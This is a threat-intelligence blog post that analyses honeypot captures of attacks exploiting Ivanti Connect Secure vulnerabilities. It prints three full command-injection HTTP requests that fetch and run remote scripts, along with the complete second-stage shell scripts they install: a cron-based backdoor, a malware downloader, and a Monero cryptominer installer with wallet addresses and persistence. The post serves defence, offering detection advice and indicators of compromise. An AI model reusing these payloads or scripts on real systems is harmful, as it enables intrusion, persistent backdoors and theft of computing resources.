One of my favorite things to do each morning is to look at the significant recent vulnerabilities that I found interesting - right now, my list is Ivanti Connect Secure, Atlassian Confluence, Apache Ofviz, SnakeYAML, etc., to check our honeypots to see if any new exploits have dropped since last time. And oh boy, was I rewarded this morning when I checked Ivanti! The overwhelming majority of what we see daily is scanners scanning honeypots and honeypots luring scanners - a security Ouroborus, if you will - but thanks to our new sensors, we have much more insight into what "real" attackers are trying. Let's see what turned up when I lifted the Ivanti rock this morning!

Note: I'm censoring IPs / users in the requests to defang them, but I included them at the bottom in case you want to block them.

Target

These payloads are all leveraging a pair of vulnerabilities in Ivanti Connect Secure - CVE-2023-46805 and CVE-2024-21887, written about here, and with a public exploit available. You can also see the exploitation picking up on our tag.

Payload 1

Here's the first payload that caught my eye:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%77%67%65%74%20%2d%2d%74%69%6d%65%6f%75%74%3d%32%30%20%2d%2d%6e%6f%2d%63%68%65%63%6b%2d%63%65%72%74%69%66%69%63%61%74%65%20%2d%71%20%2d%4f%2d%20%68%74%74%70%73%3a%2f%2f[ip]%2f%69%76%61%6e%74%69%2e%6a%73%7c%73%68%3b%0a HTTP/1.1
Host: [ip]
User-Agent: curl/7.81.0  
Accept: */*

Which decodes to:

api/v1/totp/user-backup-code/../../license/keys-status/;wget --timeout=20 --no-check-certificate -q -O- https://[ip]/ivanti.js|sh;\n"

As of writing, that file is live and installs a persistent backdoor using cron:

#!/bin/bash
url='https://[ip]/ivanti'
name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1
/etc/$name1

name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2
/etc/$name2

name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -
/tmp/$name3

name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -
/var/tmp/$name4

while true
do
	chmod +x /etc/$name1
	/etc/$name1
	sleep 60
	chmod +x /etc/$name2
	/etc/$name2
	sleep 60
	chmod +x /tmp/$name3
	/tmp/$name3
	sleep 60
	chmod +x /var/tmp/$name4
	/var/tmp/$name4
	sleep 60
done

Advice: Check for files that look like /etc/<long number>, /tmp/<long number>, or /var/tmp/<long number>, and check your crontab files for odd entries

The payload it fetches is a 64-bit executable:

$ file backdoor 
backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

What does the backdoor do? Let's take the lazy approach - strings:

$ strings -n10 backdoor
[...lots and lots of junk...]
Usage: ispdd [OPTIONS]
  -o, --url=URL                 URL of mining server
  -a, --algo=ALGO               mining algorithm https://ispdd.com/docs/algorithms
      --coin=COIN               specify coin instead of algorithm
  -u, --user=USERNAME           username for mining server
  -p, --pass=PASSWORD           password for mining server
  -O, --userpass=U:P            username:password pair for mining server
  -x, --proxy=HOST:PORT         connect through a SOCKS5 proxy
  -k, --keepalive               send keepalived packet for prevent timeout (needs pool support)
[...]

Aha, a bitcoin miner!

Payload 2

Next up, this payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bwget%20https%3a%2f%2fraw%2egithubusercontent%2ecom%2fmomika233%2ftest%2fmain%2fm%2esh%20%26%26%20chmod%20%2bx%20m%2esh%20%26%26%20bash%20m%2esh HTTP/1.1  
Host: [ip]  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;wget https://raw.githubusercontent.com/[user]/test/main/m.sh && chmod +x m.sh && bash m.sh

Unsurprisingly, m.sh is a shell script:

#!/bin/bash
cd /tmp && wget https://github.com/[user]/test/raw/main/watchd0g && chmod +x watchd0g && ./watchd0g
cd /tmp && wget  https://github.com/[user]/test/raw/main/watchbog && chmod +x watchbog && ./watchbog

Kinda weirdly, the scripts are 64-bit and 32-bit executables:

$ file watch*
watchbog: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
watchd0g: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Both files are UPX-packed (what year is this?), which is fortunately quite easy to unpack:

$ dnf install upx

$ upx -d watchbog 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  11911882 -   4454800   37.40%   linux/i386    watchbog

Unpacked 1 file.

$ upx -d watchd0g 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  12519601 -   4741804   37.88%   linux/amd64   watchd0g

Unpacked 1 file.

Those files appear to be written in Go and somewhat obfuscated (or maybe Go always looks obfuscated?) - in any case, the strings command doesn't tell me much other than an SSH private key:

-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEIDWHqbKNp4h9inuerCayD7NO6glM9bnHjB+WcmT2Prfa
-----END PRIVATE KEY-----

Rather than spending a lot of time digging into this, I decided to move on to the next thing. Searching by checksum, it does appear that watchd0g is known malware

Advice: check for /tmp/watchd0g and /tmp/watchbog

Payload 3

And finally, the last payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b(type%20curl%20&%3E/dev/null;%20curl%20-o%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh%20%7C%7C%20type%20wget%20&%3E/dev/null;%20wget%20-O%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh);%20chmod%20+x%20/tmp/script.sh;%20/tmp/script.sh HTTP/1.1  
Host: 128.199.174.6  
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;(type curl &>/dev/null; curl -o /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh || type wget &>/dev/null; wget -O /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh); chmod  x /tmp/script.sh; /tmp/script.sh

And the shellscript it fetches:

$ cat script.sh 
#!/bin/bash

WALLET=45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5
EMAIL=$2
if [ -z $HOME ]; then
  HOME=/var/tmp/
fi


CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
  exit 1
fi

power2() {
  if ! type bc >/dev/null; then
    if   [ "$1" -gt "8192" ]; then
      echo "8192"
    elif [ "$1" -gt "4096" ]; then
      echo "4096"
    elif [ "$1" -gt "2048" ]; then
      echo "2048"
    elif [ "$1" -gt "1024" ]; then
      echo "1024"
    elif [ "$1" -gt "512" ]; then
      echo "512"
    elif [ "$1" -gt "256" ]; then
      echo "256"
    elif [ "$1" -gt "128" ]; then
      echo "128"
    elif [ "$1" -gt "64" ]; then
      echo "64"
    elif [ "$1" -gt "32" ]; then
      echo "32"
    elif [ "$1" -gt "16" ]; then
      echo "16"
    elif [ "$1" -gt "8" ]; then
      echo "8"
    elif [ "$1" -gt "4" ]; then
      echo "4"
    elif [ "$1" -gt "2" ]; then
      echo "2"
    else
      echo "1"
    fi
  else 
    echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  fi
}

PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1
fi

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  echo "ERROR: Wrong computed port value: $PORT"
  exit 1
fi



if sudo -n true 2>/dev/null; then
  sudo systemctl stop .ssh_miner.service
fi
killall -9 xmrig

rm -rf $HOME/.ssh
[ -d $HOME/.ssh ] || mkdir $HOME/.ssh
if ! curl  "http://[ip]:8089/u/123/100123/202401/sshd" -o $HOME/.ssh/sshd; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/sshd" -O $HOME/.ssh/sshd; then
    echo "ERROR: Can't download sshd"
    exit 1
  fi
fi

if ! curl  "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
    echo "ERROR: Can't download config"
    exit 1
  fi
fi

chmod +x $HOME/.ssh/sshd


PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
  PASS=na
fi
if [ ! -z $EMAIL ]; then
  PASS="$PASS:$EMAIL"
fi


sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.ssh/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.ssh/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.ssh/sshd.log'",#' $HOME/.ssh/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.ssh/config.json

cp $HOME/.ssh/config.json $HOME/.ssh/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.ssh/config_background.json

cat >$HOME/.ssh/miner.sh </dev/null; then
  nice $HOME/.ssh/sshd \$*
else
  echo "Monero miner is already running in the background. Refusing to run another one."
  echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
fi
EOL

chmod +x $HOME/.ssh/miner.sh

# 创建计划任务

if ! sudo -n true 2>/dev/null; then
  if ! grep .ssh/miner.sh $HOME/.profile >/dev/null; then
    echo "[*] Adding $HOME/.ssh/miner.sh script to $HOME/.profile"
    echo "$HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  else 
    echo "Looks like $HOME/.ssh/miner.sh script is already in the $HOME/.profile"
  fi
  echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
  /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "[*] Enabling huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
    /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."

  else

    echo "[*] Creating .ssh_miner systemd service"
    cat >/tmp/.ssh_miner.service </dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable .ssh_miner.service
    sudo systemctl start .ssh_miner.service
  fi
fi

That appears to install an ssh server, install a .json configuration file, and set up a systemd service, as well as a backdoor in the user's .profile file. Here's the configuration file:

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": 0,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": true,
        "yield": true,
        "max-threads-hint": 40,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false,
        "astrobwt": false
    },
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9uM8TfwzJ",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "rebench-algo": false,
    "bench-algo-time": 20,
    "pause-on-battery": false,
    "pause-on-active": false

Advice: Check for a systemd service called .ssh_miner, a .profile entry that rusn a miner, or a file called /tmp/script.sh

IoCs

Here are the SHA256 sums of all the files I saw:

  • 0c9ada54a8a928a747d29d4132565c4ccecca0a02abe8675914a70e82c5918d2  backdoor
  • bbfba00485901f859cf532925e83a2540adfe01556886837d8648cd92519c68d  ivanti.js
  • cf20940907be484440e8343aa05505ad2e4d6d1f24ef29504bfa54ade4a8455f  m.sh
  • 8eadb5beeb21d4a95dacd133cb2b934342fcb39fe4df2a8387a0d5499c72450d  watchbog
  • 1e1e94bd2bfd5054265123bf55c4cf6ce87de6692d9329bda4a37e89272356e4  watchd0g
  • 45c9578bbceb2ce2b0f10133d2f3f708e78c8b7eb3c52ad69d686e822f9aa65f  config.json
  • 4cba272d83f6ff353eb05e117a1057699200a996d483ca56fa189e9eaa6bb56c  script.sh

And some file paths:

  • /etc/<long number>
  • /etc/cron.d/<long number>
  • /tmp/<long number>
  • /var/tmp/<long number>
  • m.sh
  • /tmp/watchd0g
  • /tmp/watchbog
  • /tmp/script.sh
  • $HOME/.ssh/config.json
  • $HOME/.ssh/sshd
  • $HOME/.ssh/config_background.json

And the IP addresses / users I observed:

  • 45.130.22.219
  • https[:]//raw.githubusercontent.com/momika233
  • 192.252.183.116

We recommend organizations block IPs that have recently exploited Ivanti. We have published a Gist containing these IPs.

This article is a summary of the full, in-depth version on the GreyNoise Labs blog.
Read the full report
GreyNoise Labs logo
Link to GreyNoise Twitter account
Link to GreyNoise Twitter account